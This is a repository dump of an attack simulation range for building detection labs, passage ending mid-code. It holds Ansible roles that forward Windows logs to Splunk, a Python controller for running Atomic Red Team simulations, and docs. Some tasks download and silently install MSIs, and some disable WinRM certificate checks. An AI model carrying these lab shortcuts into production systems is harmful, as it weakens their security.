(file_exists('%LOGFILE%') and \ 44 | (file_size('%LOGFILE%') >= 5M)) \ 45 | file_cycle('%LOGFILE%', 8); 46 | 47 | 48 | # Rotate our log file every week on Sunday at midnight 49 | 50 | When @weekly 51 | Exec if file_exists('%LOGFILE%') file_cycle('%LOGFILE%', 8); 52 | 53 | 54 | 55 | 56 | Module im_msvistalog 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | Exec $raw_event= to_json(); 68 | 69 | 70 | 71 | Module om_file 72 | File 'C:\nxlog_out.txt' 73 | 74 | 75 | 76 | Path eventlog => file 77 | 78 | -------------------------------------------------------------------------------- /ansible/roles/windows_universal_forwarder/files/nxlog_inputs.conf: -------------------------------------------------------------------------------- 1 | [monitor://C:\nxlog_out.txt] 2 | sourcetype = nxlog 3 | disabled = false 4 | index = win 5 | -------------------------------------------------------------------------------- /ansible/roles/windows_universal_forwarder/files/powershell_inputs.conf: -------------------------------------------------------------------------------- 1 | [WinEventLog://Microsoft-Windows-PowerShell/Operational] 2 | disabled = false 3 | index = win 4 | -------------------------------------------------------------------------------- /ansible/roles/windows_universal_forwarder/files/sysmon_inputs.conf: -------------------------------------------------------------------------------- 1 | [WinEventLog://Microsoft-Windows-Sysmon/Operational] 2 | disabled = false 3 | renderXml = 1 4 | index = win 5 | source= XmlWinEventLog:Microsoft-Windows-Sysmon/Operational 6 | -------------------------------------------------------------------------------- /ansible/roles/windows_universal_forwarder/files/win_event_log_inputs.conf: -------------------------------------------------------------------------------- 1 | 2 | ###### OS Logs ###### 3 | [WinEventLog://Application] 4 | disabled = 0 5 | start_from = oldest 6 | current_only = 0 7 | checkpointInterval = 5 8 | renderXml=true 9 | index = win 10 | 11 | [WinEventLog://Security] 12 | disabled = 0 13 | start_from = oldest 14 | current_only = 0 15 | evt_resolve_ad_obj = 1 16 | checkpointInterval = 5 17 | blacklist1 = EventCode="4662" Message="Object Type:(?!\s*groupPolicyContainer)" 18 | blacklist2 = EventCode="566" Message="Object Type:(?!\s*groupPolicyContainer)" 19 | renderXml=true 20 | index = win 21 | 22 | [WinEventLog://System] 23 | disabled = 0 24 | start_from = oldest 25 | current_only = 0 26 | checkpointInterval = 5 27 | renderXml=true 28 | index = win 29 | 30 | ###### WinEventLog Inputs for Active Directory ###### 31 | 32 | ## Application and Services Logs - DFS Replication 33 | [WinEventLog://DFS Replication] 34 | disabled = 0 35 | renderXml=true 36 | index = win 37 | 38 | ## Application and Services Logs - Directory Service 39 | [WinEventLog://Directory Service] 40 | disabled = 0 41 | renderXml=true 42 | index = win 43 | 44 | ## Application and Services Logs - File Replication Service 45 | [WinEventLog://File Replication Service] 46 | disabled = 0 47 | renderXml=true 48 | index = win 49 | 50 | ## Application and Services Logs - Key Management Service 51 | [WinEventLog://Key Management Service] 52 | disabled = 0 53 | renderXml=true 54 | index = win 55 | 56 | 57 | ###### WinEventLog Inputs for DNS ###### 58 | [WinEventLog://DNS Server] 59 | disabled = 0 60 | renderXml=true 61 | index = dns 62 | 63 | 64 | ###### DHCP ###### 65 | [monitor://$WINDIR\System32\DHCP] 66 | disabled = 0 67 | whitelist = DhcpSrvLog* 68 | crcSalt = 69 | sourcetype = DhcpSrvLog 70 | -------------------------------------------------------------------------------- /ansible/roles/windows_universal_forwarder/tasks/collect_attack_simulation_logs.yml: -------------------------------------------------------------------------------- 1 | - name: Create folder directory for inputs configuration 2 | win_file: 3 | path: "{{ item }}" 4 | state: directory 5 | with_items: 6 | - 'C:\Program Files\SplunkUniversalForwarder\etc\apps\attack_simulation_inputs_app\local' 7 | 8 | - name: Copy inputs.conf configuration 9 | win_copy: 10 | src: atomic_red_team_execution_inputs.conf 11 | dest: 'C:\Program Files\SplunkUniversalForwarder\etc\apps\attack_simulation_inputs_app\local\inputs.conf' 12 | -------------------------------------------------------------------------------- /ansible/roles/windows_universal_forwarder/tasks/collect_nxlog_logs.yml: -------------------------------------------------------------------------------- 1 | - name: Create folder directory for inputs configuration 2 | win_file: 3 | path: "{{ item }}" 4 | state: directory 5 | with_items: 6 | - 'C:\Program Files\SplunkUniversalForwarder\etc\apps\nxlog_inputs_app\local' 7 | 8 | - name: Copy inputs.conf configuration 9 | win_copy: 10 | src: nxlog_inputs.conf 11 | dest: 'C:\Program Files\SplunkUniversalForwarder\etc\apps\nxlog_inputs_app\local\inputs.conf' 12 | -------------------------------------------------------------------------------- /ansible/roles/windows_universal_forwarder/tasks/collect_powershell_logs.yml: -------------------------------------------------------------------------------- 1 | - name: Create folder directory for inputs configuration 2 | win_file: 3 | path: "{{ item }}" 4 | state: directory 5 | with_items: 6 | - 'C:\Program Files\SplunkUniversalForwarder\etc\apps\powershell_inputs_app\local' 7 | 8 | - name: Copy inputs.conf configuration 9 | win_copy: 10 | src: powershell_inputs.conf 11 | dest: 'C:\Program Files\SplunkUniversalForwarder\etc\apps\powershell_inputs_app\local\inputs.conf' 12 | -------------------------------------------------------------------------------- /ansible/roles/windows_universal_forwarder/tasks/collect_sysmon_logs.yml: -------------------------------------------------------------------------------- 1 | - name: Create folder directory for inputs configuration 2 | win_file: 3 | path: "{{ item }}" 4 | state: directory 5 | with_items: 6 | - 'C:\Program Files\SplunkUniversalForwarder\etc\apps\sysmon_inputs_app\local' 7 | 8 | - name: Copy inputs.conf configuration 9 | win_copy: 10 | src: sysmon_inputs.conf 11 | dest: 'C:\Program Files\SplunkUniversalForwarder\etc\apps\sysmon_inputs_app\local\inputs.conf' 12 | -------------------------------------------------------------------------------- /ansible/roles/windows_universal_forwarder/tasks/collect_windows_event_logs.yml: -------------------------------------------------------------------------------- 1 | - name: Create folder directory for inputs configuration 2 | win_file: 3 | path: "{{ item }}" 4 | state: directory 5 | with_items: 6 | - 'C:\Program Files\SplunkUniversalForwarder\etc\apps\win_inputs_app\local' 7 | 8 | - name: Copy inputs.conf configuration 9 | win_copy: 10 | src: win_event_log_inputs.conf 11 | dest: 'C:\Program Files\SplunkUniversalForwarder\etc\apps\win_inputs_app\local\inputs.conf' 12 | -------------------------------------------------------------------------------- /ansible/roles/windows_universal_forwarder/tasks/configure_outputs.yml: -------------------------------------------------------------------------------- 1 | 2 | - name: Create folder directory for outputs configuration 3 | win_file: 4 | path: "{{ item }}" 5 | state: directory 6 | with_items: 7 | - 'C:\Program Files\SplunkUniversalForwarder\etc\apps\win_outputs_app\local' 8 | 9 | - name: Copy an outputs.conf using templating 10 | win_template: 11 | src: outputs.conf.j2 12 | dest: C:\Program Files\SplunkUniversalForwarder\etc\apps\win_outputs_app\local\outputs.conf 13 | -------------------------------------------------------------------------------- /ansible/roles/windows_universal_forwarder/tasks/create_deploymentclient.yml: -------------------------------------------------------------------------------- 1 | 2 | - name: Create folder directory for deplyment client configuration 3 | win_file: 4 | path: "{{ item }}" 5 | state: directory 6 | with_items: 7 | - 'C:\Program Files\SplunkUniversalForwarder\etc\apps\win_deploymentclient_app\local' 8 | 9 | - name: Copy an deploymentclient.conf using templating 10 | win_template: 11 | src: deploymentclient.conf.j2 12 | dest: C:\Program Files\SplunkUniversalForwarder\etc\apps\win_deploymentclient_app\local\deploymentclient.conf 13 | -------------------------------------------------------------------------------- /ansible/roles/windows_universal_forwarder/tasks/install_nxlog.yml: -------------------------------------------------------------------------------- 1 | 2 | - name: Download nxlog from their website 3 | win_shell: | 4 | [Net.ServicePointManager]::SecurityProtocol = "tls12, tls11, tls" 5 | (New-Object System.Net.WebClient).DownloadFile("{{ nxlog_url }}", "C:\nxlog.msi") 6 | 7 | - name: Install nxlog 8 | win_package: 9 | path: C:\nxlog.msi 10 | arguments: '/quiet' 11 | 12 | - name: Copy nxlog.conf configuration 13 | win_copy: 14 | src: nxlog.conf 15 | dest: 'C:\Program Files (x86)\nxlog\conf\nxlog.conf' 16 | 17 | - name: Start nxlog 18 | win_service: 19 | name: nxlog 20 | state: started 21 | 22 | 23 | -------------------------------------------------------------------------------- /ansible/roles/windows_universal_forwarder/tasks/install_splunk_uf.yml: -------------------------------------------------------------------------------- 1 | 2 | - name: Nslooup splunk.common 3 | win_command: 'nslookup download.splunk.com' 4 | register: output 5 | 6 | # - name: Debug nslookup 7 | # debug: 8 | # var: output 9 | 10 | - name: Download Splunk UF from Splunk website 11 | win_shell: | 12 | [Net.ServicePointManager]::SecurityProtocol = "tls12, tls11, tls" 13 | (New-Object System.Net.WebClient).DownloadFile("{{ splunk_uf_win_url }}", "C:\splunkuf.msi") 14 | 15 | - name: Install Splunk_UF MSI 16 | win_package: 17 | path: C:\splunkuf.msi 18 | arguments: 'WINEVENTLOG_SEC_ENABLE=0 WINEVENTLOG_SYS_ENABLE=0 WINEVENTLOG_APP_ENABLE=0 SPLUNKPASSWORD={{ splunk_admin_password }} AGREETOLICENSE=YES /quiet' 19 | 20 | - name: Start Splunk 21 | win_service: 22 | name: SplunkForwarder 23 | state: started 24 | -------------------------------------------------------------------------------- /ansible/roles/windows_universal_forwarder/tasks/main.yml: -------------------------------------------------------------------------------- 1 | 2 | - include: install_splunk_uf.yml 3 | - include: create_deploymentclient.yml 4 | - include: configure_outputs.yml 5 | - include: collect_powershell_logs.yml 6 | - include: collect_attack_simulation_logs.yml 7 | - include: collect_sysmon_logs.yml 8 | - include: collect_windows_event_logs.yml 9 | 10 | - name: Restart splunk 11 | win_command: splunk.exe restart 12 | args: 13 | chdir: C:\Program Files\SplunkUniversalForwarder\bin\ 14 | -------------------------------------------------------------------------------- /ansible/roles/windows_universal_forwarder/templates/deploymentclient.conf.j2: -------------------------------------------------------------------------------- 1 | [deployment-client] 2 | 3 | [target-broker:deploymentServer] 4 | targetUri= {{ splunk_indexer_ip }}:8089 5 | -------------------------------------------------------------------------------- /ansible/roles/windows_universal_forwarder/templates/inputs.conf.j2: -------------------------------------------------------------------------------- 1 | [streamfwd://streamfwd] 2 | splunk_stream_app_location = https://{{ splunk_indexer_ip }}:8000/en-us/custom/splunk_app_stream/ 3 | stream_forwarder_id = 4 | disabled = 0 5 | -------------------------------------------------------------------------------- /ansible/roles/windows_universal_forwarder/templates/outputs.conf.j2: -------------------------------------------------------------------------------- 1 | [tcpout] 2 | defaultGroup=my_indexers 3 | 4 | [tcpout:my_indexers] 5 | server={{ splunk_indexer_ip }}:9997 6 | -------------------------------------------------------------------------------- /ansible/splunk_server.yml: -------------------------------------------------------------------------------- 1 | - hosts: all 2 | gather_facts: False 3 | become: true 4 | vars: 5 | hostname: splunk-server 6 | roles: 7 | - linux_common 8 | - search_head 9 | - splunk_phantom 10 | - splunk_phantom_configure 11 | - caldera 12 | -------------------------------------------------------------------------------- /ansible/windows_dc.yml: -------------------------------------------------------------------------------- 1 | - hosts: all 2 | gather_facts: True 3 | vars: 4 | ansible_connection: winrm 5 | ansible_port: 5986 6 | ansible_winrm_server_cert_validation: ignore 7 | hostname: win-dc 8 | roles: 9 | - windows_common 10 | - windows_dns_server 11 | - windows_domain_controller 12 | - windows_universal_forwarder 13 | - windows_caldera_agent 14 | - sysmon 15 | -------------------------------------------------------------------------------- /ansible/windows_dc_client.yml: -------------------------------------------------------------------------------- 1 | - hosts: all 2 | gather_facts: True 3 | vars: 4 | ansible_connection: winrm 5 | ansible_port: 5986 6 | ansible_winrm_server_cert_validation: ignore 7 | use_packer: "0" 8 | hostname: win-host 9 | roles: 10 | - windows_common 11 | - windows_domain_client 12 | - windows_universal_forwarder 13 | - windows_caldera_agent 14 | - sysmon 15 | -------------------------------------------------------------------------------- /ansible/windows_workstation.yml: -------------------------------------------------------------------------------- 1 | - hosts: all 2 | gather_facts: True 3 | vars: 4 | ansible_connection: winrm 5 | ansible_port: 5985 6 | ansible_winrm_server_cert_validation: ignore 7 | use_packer: "0" 8 | hostname: win-client 9 | roles: 10 | - windows_common 11 | - windows_domain_client 12 | - windows_universal_forwarder 13 | - windows_caldera_agent 14 | - sysmon 15 | -------------------------------------------------------------------------------- /apps/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splunk/attack_range_local/77113235f5394552ce2a79b622889675bfc2dbbf/apps/.gitkeep -------------------------------------------------------------------------------- /attack_data/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splunk/attack_range_local/77113235f5394552ce2a79b622889675bfc2dbbf/attack_data/.gitkeep -------------------------------------------------------------------------------- /attack_data/dumps.yml: -------------------------------------------------------------------------------- 1 | - name: sysmon_events 2 | dump_parameters: 3 | out: windows-sysmon.log 4 | search: source=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational 5 | time: -2h 6 | replay_parameters: 7 | source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational 8 | sourcetype: xmlwineventlog 9 | index: test 10 | enabled: True 11 | 12 | - name: windows_security_events 13 | dump_parameters: 14 | out: windows-security.log 15 | search: source=XmlWinEventLog:Security 16 | time: -2h 17 | replay_parameters: 18 | source: XmlWinEventLog:Security 19 | sourcetype: WinEventLog 20 | index: test 21 | enabled: True 22 | 23 | - name: windows_system_events 24 | dump_parameters: 25 | out: windows-system.log 26 | search: source=XmlWinEventLog:System 27 | time: -2h 28 | replay_parameters: 29 | source: XmlWinEventLog:system 30 | sourcetype: WinEventLog 31 | index: test 32 | enabled: True 33 | 34 | - name: powershell_events 35 | dump_parameters: 36 | out: windows-powershell.log 37 | search: source=WinEventLog:Microsoft-Windows-PowerShell/Operational 38 | time: -2h 39 | replay_parameters: 40 | source: WinEventLog:Microsoft-Windows-PowerShell/Operational 41 | sourcetype: wineventlog 42 | index: test 43 | enabled: True 44 | 45 | - name: stream_http_events 46 | dump_parameters: 47 | out: stream_http_events.log 48 | search: 'index=main sourcetype=stream:http' 49 | time: -24h 50 | replay_parameters: 51 | source: stream 52 | sourcetype: stream:http 53 | index: test 54 | enabled: False 55 | -------------------------------------------------------------------------------- /attack_range_local.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import argparse 4 | from modules import logger 5 | from pathlib import Path 6 | from modules.CustomConfigParser import CustomConfigParser 7 | from modules.VagrantController import VagrantController 8 | 9 | 10 | # need to set this ENV var due to a OSX High Sierra forking bug 11 | # see this discussion for more details: https://github.com/ansible/ansible/issues/34056#issuecomment-352862252 12 | os.environ['OBJC_DISABLE_INITIALIZE_FORK_SAFETY'] = 'YES' 13 | 14 | VERSION = 1 15 | 16 | 17 | if __name__ == "__main__": 18 | # grab arguments 19 | parser = argparse.ArgumentParser(description="starts a attack range ready to collect attack data into splunk") 20 | parser.add_argument("-a", "--action", required=False, choices=['build', 'destroy', 'simulate', 'stop', 'resume', 'dump'], 21 | help="action to take on the range, defaults to \"build\", build/destroy/simulate/stop/resume allowed") 22 | parser.add_argument("-t", "--target", required=False, 23 | help="target for attack simulation. For mode vagrant use name of the vbox") 24 | parser.add_argument("-st", "--simulation_technique", required=False, type=str, default="", 25 | help="comma delimited list of MITRE ATT&CK technique ID to simulate in the attack_range, example: T1117, T1118, requires --simulation flag") 26 | parser.add_argument("-sa", "--simulation_atomics", required=False, type=str, default="", 27 | help="specify dedicated Atomic Red Team atomics to simulate in the attack_range, example: Regsvr32 remote COM scriptlet execution for T1117") 28 | parser.add_argument("-c", "--config", required=False, default="attack_range_local.conf", 29 | help="path to the configuration file of the attack range") 30 | parser.add_argument("-lm", "--list_machines", required=False, default=False, action="store_true", help="prints out all available machines") 31 | parser.add_argument("-dn", "--dump_name", required=False, help="define the dump name") 32 | parser.add_argument("-v", "--version", default=False, action="store_true", required=False, 33 | help="shows current attack_range version") 34 | 35 | # parse them 36 | args = parser.parse_args() 37 | ARG_VERSION = args.version 38 | action = args.action 39 | target = args.target 40 | config = args.config 41 | simulation_techniques = args.simulation_technique 42 | simulation_atomics = args.simulation_atomics 43 | list_machines = args.list_machines 44 | dump_name = args.dump_name 45 | 46 | print(""" 47 | starting program loaded for B1 battle droid 48 | ||/__'`. 49 | |//()'-.: 50 | |-.|| 51 | |o(o) 52 | |||\\\ .==._ 53 | |||(o)==::' 54 | `|T "" 55 | () 56 | |\\ 57 | ||\\ 58 | ()() 59 | ||// 60 | |// 61 | .'=`=. 62 | """) 63 | 64 | # parse config 65 | attack_range_config = Path(config) 66 | if attack_range_config.is_file(): 67 | print("attack_range is using config at path {0}".format(attack_range_config)) 68 | configpath = str(attack_range_config) 69 | else: 70 | print("ERROR: attack_range failed to find a config file at {0} or {1}..exiting".format(attack_range_config)) 71 | sys.exit(1) 72 | 73 | # Parse config 74 | parser = CustomConfigParser() 75 | config = parser.load_conf(configpath) 76 | 77 | log = logger.setup_logging(config['log_path'], config['log_level']) 78 | log.info("INIT - attack_range v" + str(VERSION)) 79 | 80 | if ARG_VERSION: 81 | log.info("version: {0}".format(VERSION)) 82 | sys.exit(0) 83 | 84 | if not action and not list_machines: 85 | log.error('ERROR: Use -a to perform an action or -lm to list available machines') 86 | sys.exit(1) 87 | 88 | if action == 'simulate' and not target: 89 | log.error('ERROR: Specify target for attack simulation') 90 | sys.exit(1) 91 | 92 | if action == 'dump' and not dump_name: 93 | log.error('ERROR: Specify --dump_name for dump command') 94 | sys.exit(1) 95 | 96 | 97 | # lets give CLI priority over config file for pre-configured techniques 98 | if simulation_techniques: 99 | pass 100 | else: 101 | simulation_techniques = config['art_run_techniques'] 102 | 103 | if not simulation_atomics: 104 | simulation_atomics = 'no' 105 | 106 | controller = VagrantController(config, log) 107 | 108 | if list_machines: 109 | controller.list_machines() 110 | sys.exit(0) 111 | 112 | if action == 'build': 113 | controller.build() 114 | 115 | if action == 'destroy': 116 | controller.destroy() 117 | 118 | if action == 'stop': 119 | controller.stop() 120 | 121 | if action == 'resume': 122 | controller.resume() 123 | 124 | if action == 'simulate': 125 | controller.simulate(target, simulation_techniques, simulation_atomics) 126 | 127 | if action == 'dump': 128 | controller.dump(dump_name) 129 | 130 | 131 | # rnfgre rtt ol C4G12VPX 132 | -------------------------------------------------------------------------------- /deploy_attack_range.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | sudo apt-get update 3 | sudo apt-get install -y python3-dev linux-headers-generic python-dev unzip python-pip vagrant virtualbox virtualbox-dkms python-virtualenv git 4 | sudo gem install winrm-elevated 5 | sudo gem install winrm 6 | git clone https://github.com/splunk/attack_range_local && cd attack_range_local 7 | virtualenv -p python3 venv 8 | source venv/bin/activate 9 | pip install -r requirements.txt 10 | ansible-galaxy collection install community.windows 11 | -------------------------------------------------------------------------------- /docs/CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing to the Project 2 | 3 | This document is the single source of truth on how to contribute to this codebase. Please feel free to browse the open issues and file new ones. All feedback is welcome! 4 | 5 | ---- 6 | 7 | ## Topics 8 | 9 | * [Prerequisites](#prerequisites) 10 | * [Contributor License Agreement](#contributor-license-agreement) 11 | * [Code of Conduct](#code-of-conduct) 12 | * [Contribution Workflow](#contribution-workflow) 13 | * [Feature Requests and Bug Reports](#feature-requests-and-bug-reports) 14 | * [Fixing Issues](#fixing-issues) 15 | * [Pull Requests](#pull-requests) 16 | * [Code Review](#code-review) 17 | * [Documentation](#documentation) 18 | * [Maintainers](#maintainers) 19 | 20 | ---- 21 | 22 | ## Prerequisites 23 | When contributing to this repository, please first discuss the change you wish to make via a GitHub issue, Slack message, email, or via other channels with the owners of this repository. 24 | 25 | ##### Contributor License Agreement 26 | At the moment, we can only accept pull requests submitted from either: 27 | * Splunk employees or 28 | * Individuals that have signed our contributors' agreement 29 | 30 | If you wish to be a contributing member of our community, please see the agreement [for individuals](https://www.splunk.com/goto/individualcontributions) or [for organizations](https://www.splunk.com/goto/contributions). 31 | 32 | ##### Code of Conduct 33 | Please make sure to read and observe our [Code of Conduct](contributing/code-of-conduct.md). Please follow it in all of your interactions involving the project. 34 | 35 | ## Contribution Workflow 36 | Help is always welcome! For example, documentation can always use improvement. There's always code that can be clarified, functionality that can be extended, and tests to be added to guarantee behavior. If you see something you think should be fixed, don't be afraid to own it. 37 | 38 | ##### Feature Requests and Bug Reports 39 | Have ideas on improvements? See something that needs work? While the community encourages everyone to contribute code, it is also appreciated when someone reports an issue. Please report any issues or bugs you find through [GitHub's issue tracker](https://github.com/splunk/attack_range/issues). 40 | 41 | If you are reporting a bug, please include: 42 | 43 | * Your operating system name and version 44 | * Any details about your local setup that might be helpful in troubleshooting (ex. Python interpreter version, Splunk version, etc.) 45 | * Detailed steps to reproduce the bug 46 | 47 | We'd also like to hear about your propositions and suggestions. Feel free to submit them as issues and: 48 | 49 | * Explain in detail how they should work 50 | * Note that keeping the scope as narrow as possible will make the suggestion easier to implement 51 | 52 | ##### Fixing Issues 53 | Look through our [issue tracker](https://github.com/splunk/attack_range/issues) to find problems to fix! Feel free to comment and tag corresponding stakeholders or full-time maintainers of this project with any questions or concerns. 54 | 55 | ##### Pull Requests 56 | What is a "pull request"? It informs the project's core developers about the changes you want to review and merge. Once you submit a pull request, it enters a stage of code review where you and others can discuss its potential modifications and maybe even add more commits to it later on. 57 | 58 | If you want to learn more, please consult this [tutorial on how pull requests work](https://help.github.com/articles/using-pull-requests/) in the [GitHub Help Center](https://help.github.com/). 59 | 60 | ###### Pre-commit Hooks 61 | We leverage [pre-commit hooks](.pre-commit-config.yaml) in our project to have some basic/local validation of common code artifacts before a commit is recorded. If you would like to learn more about pre-commit hooks please visit the projects [site](https://pre-commit.com/). 62 | 63 | Here's an overview of how you can make a pull request against this project: 64 | 65 | 1. Fork the [analytic\_story\_execution GitHub repository](https://github.com/splunk/attack_range/issues) 66 | 2. Clone your fork using git and create a branch off of master 67 | 68 | ``` 69 | $ git clone git@github.com:YOUR_GITHUB_USERNAME/attack_range.git 70 | $ cd attack_range 71 | 72 | # This project uses 'master' for all development activity, so create your branch off that 73 | $ git checkout -b your-bugfix-branch-name master 74 | ``` 75 | 76 | 3. Make your changes, commit, and push (once your tests have passed) 77 | 78 | ``` 79 | $ cd attack_range 80 | $ git commit -m "" 81 | $ git push 82 | ``` 83 | 84 | 4. Submit a pull request through the GitHub website, using the changes from your forked codebase 85 | 86 | ##### Code Review 87 | There are two aspects of code review: giving and receiving. 88 | 89 | To make it easier for your PR to receive reviews, keep in mind that the reviewers will need you to: 90 | * Follow the project coding conventions 91 | * Write good commit messages 92 | * Break large changes into a logical series of smaller patches which individually make easily understandable changes, and in aggregate solve a broader issue 93 | 94 | Reviewers, the people providing the review, are highly encouraged to revisit the [Code of Conduct](contributing/code-of-conduct.md) and must go above and beyond to promote a collaborative, respectful community. 95 | 96 | When reviewing PRs from others, [The Gentle Art of Patch Review](http://sage.thesharps.us/2014/09/01/the-gentle-art-of-patch-review/) suggests an iterative series of focuses designed to lead new contributors to positive collaboration, such as: 97 | 98 | * Is the idea behind the contribution sound? 99 | * Is the contribution architected correctly? 100 | * Is the contribution polished? 101 | 102 | For this project, we require at least one approval. A build from our continuous integration system must also be successful off of your branch. Please note that any new changes made with your existing pull request during review will automatically unapprove and retrigger another build/round of tests. 103 | 104 | ##### Documentation 105 | We can always use improvements to our documentation! Anyone can contribute to these docs--whether you’re new to the project, you’ve been around a long time, or if you just can’t stand seeing typos. 106 | 107 | Here's what's needed? 108 | 109 | 1. More complementary documentation. Have you something unclear? 110 | 2. More examples or generic templates that others can use. 111 | 3. Blog posts, articles, and such are all very appreciated. 112 | 113 | You can also edit documentation files directly in the GitHub web interface, without creating a local copy. This can be convenient for small typos or grammar fixes. 114 | 115 | ## Maintainers 116 | 117 | If you need help, feel free to tag one of the active maintainers of this project in a post or comment. We'll do our best to reach out to you as quickly as we can. 118 | 119 | ``` 120 | # Active maintainers marked with (*) 121 | 122 | (*) Bhavin Patel 123 | (*) David Dorsey 124 | (*) Jose Hernandez 125 | ``` 126 | 127 | -------------------------------------------------------------------------------- /docs/attack_range_local_architecture.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splunk/attack_range_local/77113235f5394552ce2a79b622889675bfc2dbbf/docs/attack_range_local_architecture.png -------------------------------------------------------------------------------- /modules/CustomConfigParser.py: -------------------------------------------------------------------------------- 1 | import configparser 2 | import collections 3 | import sys 4 | from pathlib import Path 5 | import re 6 | 7 | class CustomConfigParser: 8 | def __init__(self): 9 | self.settings = {} 10 | 11 | def _config_rules(self, CONFIG_PATH): 12 | if self.settings['windows_domain_controller'] == "0" and self.settings['windows_server_join_domain'] == "1": 13 | print("ERROR - with configuration file at {0} 'windows_server_join_domain' must be set to '0' " 14 | "if the number of 'windows_domain_controller' is set to '0'".format(CONFIG_PATH)) 15 | sys.exit(1) 16 | 17 | # Check for disallowed BOTS dataset combinations or syntax 18 | if self.settings['splunk_bots_dataset'] != '0': 19 | allowed_bots_data_sets = ('1', '1a', '2', '2a', '3') 20 | requested_bots_data_sets = [x.strip() for x in str(self.settings['splunk_bots_dataset']).split(',')] 21 | for requested_bots_dataset in requested_bots_data_sets: 22 | if requested_bots_dataset not in allowed_bots_data_sets: 23 | print("ERROR - in configuration file: {0}, unknown BOTS dataset identifier: {1}".format(CONFIG_PATH, requested_bots_dataset)) 24 | sys.exit(1) 25 | 26 | if '1' in requested_bots_data_sets and '1a' in requested_bots_data_sets: 27 | print("ERROR - in configuration file: {0}, cannot include datasets '1' and '1a'".format(CONFIG_PATH)) 28 | sys.exit(1) 29 | 30 | if '2' in requested_bots_data_sets and '2a' in requested_bots_data_sets: 31 | print("ERROR - in configuration file: {0}, cannot include datasets '2' and '2a'".format(CONFIG_PATH)) 32 | sys.exit(1) 33 | 34 | if bool(re.search(r"\s", self.settings['splunk_bots_dataset'])): 35 | print("ERROR - in configuration file: {0}, cannot include whitespace in BOTS data set config directive.".format(CONFIG_PATH)) 36 | sys.exit(1) 37 | 38 | 39 | def load_conf(self,CONFIG_PATH): 40 | """Provided a config file path and a collections of type dict, 41 | will return that collections with all the settings in it""" 42 | 43 | config = configparser.RawConfigParser() 44 | config.read(CONFIG_PATH) 45 | for section in config.sections(): 46 | for key in config[section]: 47 | try: 48 | self.settings[key] = config.get(section, key) 49 | except Exception as e: 50 | print("ERROR - with configuration file at {0} failed with error {1}".format(CONFIG_PATH, e)) 51 | sys.exit(1) 52 | self._config_rules(CONFIG_PATH) 53 | 54 | return self.settings 55 | -------------------------------------------------------------------------------- /modules/VagrantController.py: -------------------------------------------------------------------------------- 1 | 2 | from jinja2 import Environment, FileSystemLoader 3 | import vagrant 4 | from tabulate import tabulate 5 | import re 6 | import ansible_runner 7 | import sys 8 | import os 9 | import yaml 10 | from modules import splunk_sdk 11 | 12 | 13 | class VagrantController(): 14 | 15 | 16 | def __init__(self, config, log): 17 | self.config = config 18 | self.log = log 19 | 20 | if self.config['install_es'] == '1': 21 | self.config['splunk_es_app_version'] = re.findall(r'\d+', self.config['splunk_es_app'])[0] 22 | 23 | self.vagrantfile = 'Vagrant.configure("2") do |config| \n \n' 24 | 25 | if config['phantom_server'] == '1': 26 | self.vagrantfile += self.read_vagrant_file('phantom-server/Vagrantfile') 27 | self.vagrantfile += '\n\n' 28 | if config['splunk_server'] == '1': 29 | self.vagrantfile += self.read_vagrant_file('splunk_server/Vagrantfile') 30 | self.vagrantfile += '\n\n' 31 | if config['splunk_server'] == '0': 32 | self.vagrantfile += self.read_vagrant_file('caldera-server/Vagrantfile') 33 | self.vagrantfile += '\n\n' 34 | if config['windows_domain_controller'] == '1': 35 | self.vagrantfile += self.read_vagrant_file('windows-domain-controller/Vagrantfile') 36 | self.vagrantfile += '\n\n' 37 | if config['windows_client'] == '1': 38 | self.vagrantfile += self.read_vagrant_file('windows10/Vagrantfile') 39 | self.vagrantfile += '\n\n' 40 | if config['windows_server'] == '1': 41 | self.vagrantfile += self.read_vagrant_file('windows-server/Vagrantfile') 42 | self.vagrantfile += '\n\n' 43 | if config['kali_machine'] == '1': 44 | self.vagrantfile += self.read_vagrant_file('kali-machine/Vagrantfile') 45 | self.vagrantfile += '\n\n' 46 | self.vagrantfile += '\nend' 47 | with open('vagrant/Vagrantfile', 'w') as file: 48 | file.write(self.vagrantfile) 49 | 50 | 51 | def read_vagrant_file(self, path): 52 | j2_env = Environment(loader=FileSystemLoader('vagrant'),trim_blocks=True) 53 | template = j2_env.get_template(path) 54 | vagrant_file = template.render(self.config) 55 | return vagrant_file 56 | 57 | 58 | def build(self): 59 | self.log.info("[action] > build\n") 60 | v1 = vagrant.Vagrant('vagrant/', quiet_stdout=False, quiet_stderr=False) 61 | try: 62 | v1.up(provision=True, provider="virtualbox") 63 | except: 64 | self.log.error("vagrant failed to build") 65 | sys.exit(1) 66 | 67 | self.log.info("attack_range has been built using vagrant successfully") 68 | self.list_machines() 69 | 70 | 71 | def destroy(self): 72 | self.log.info("[action] > destroy\n") 73 | v1 = vagrant.Vagrant('vagrant/', quiet_stdout=False) 74 | v1.destroy() 75 | self.log.info("attack_range has been destroy using vagrant successfully") 76 | 77 | 78 | def stop(self): 79 | print("[action] > stop\n") 80 | v1 = vagrant.Vagrant('vagrant/', quiet_stdout=False) 81 | v1.halt() 82 | 83 | 84 | def resume(self): 85 | print("[action] > resume\n") 86 | v1 = vagrant.Vagrant('vagrant/', quiet_stdout=False) 87 | v1.up() 88 | 89 | 90 | def simulate(self, target, simulation_techniques, simulation_atomics): 91 | 92 | # check if specific atomics are used then it's not allowed to multiple techniques 93 | techniques_arr = simulation_techniques.split(',') 94 | if (len(techniques_arr) > 1) and (simulation_atomics != 'no'): 95 | self.log.error('ERROR: if simulation_atomics are used, only a single simulation_technique is allowed.') 96 | sys.exit(1) 97 | 98 | run_specific_atomic_tests = 'True' 99 | if simulation_atomics == 'no': 100 | run_specific_atomic_tests = 'False' 101 | 102 | # get ip address from machine 103 | self.check_targets_running_vagrant(target, self.log) 104 | target_ip = self.get_ip_address_from_machine(target) 105 | runner = ansible_runner.run(private_data_dir='.', 106 | cmdline=str('-i ' + target_ip + ', '), 107 | roles_path="ansible/roles", 108 | playbook='ansible/atomic_red_team.yml', 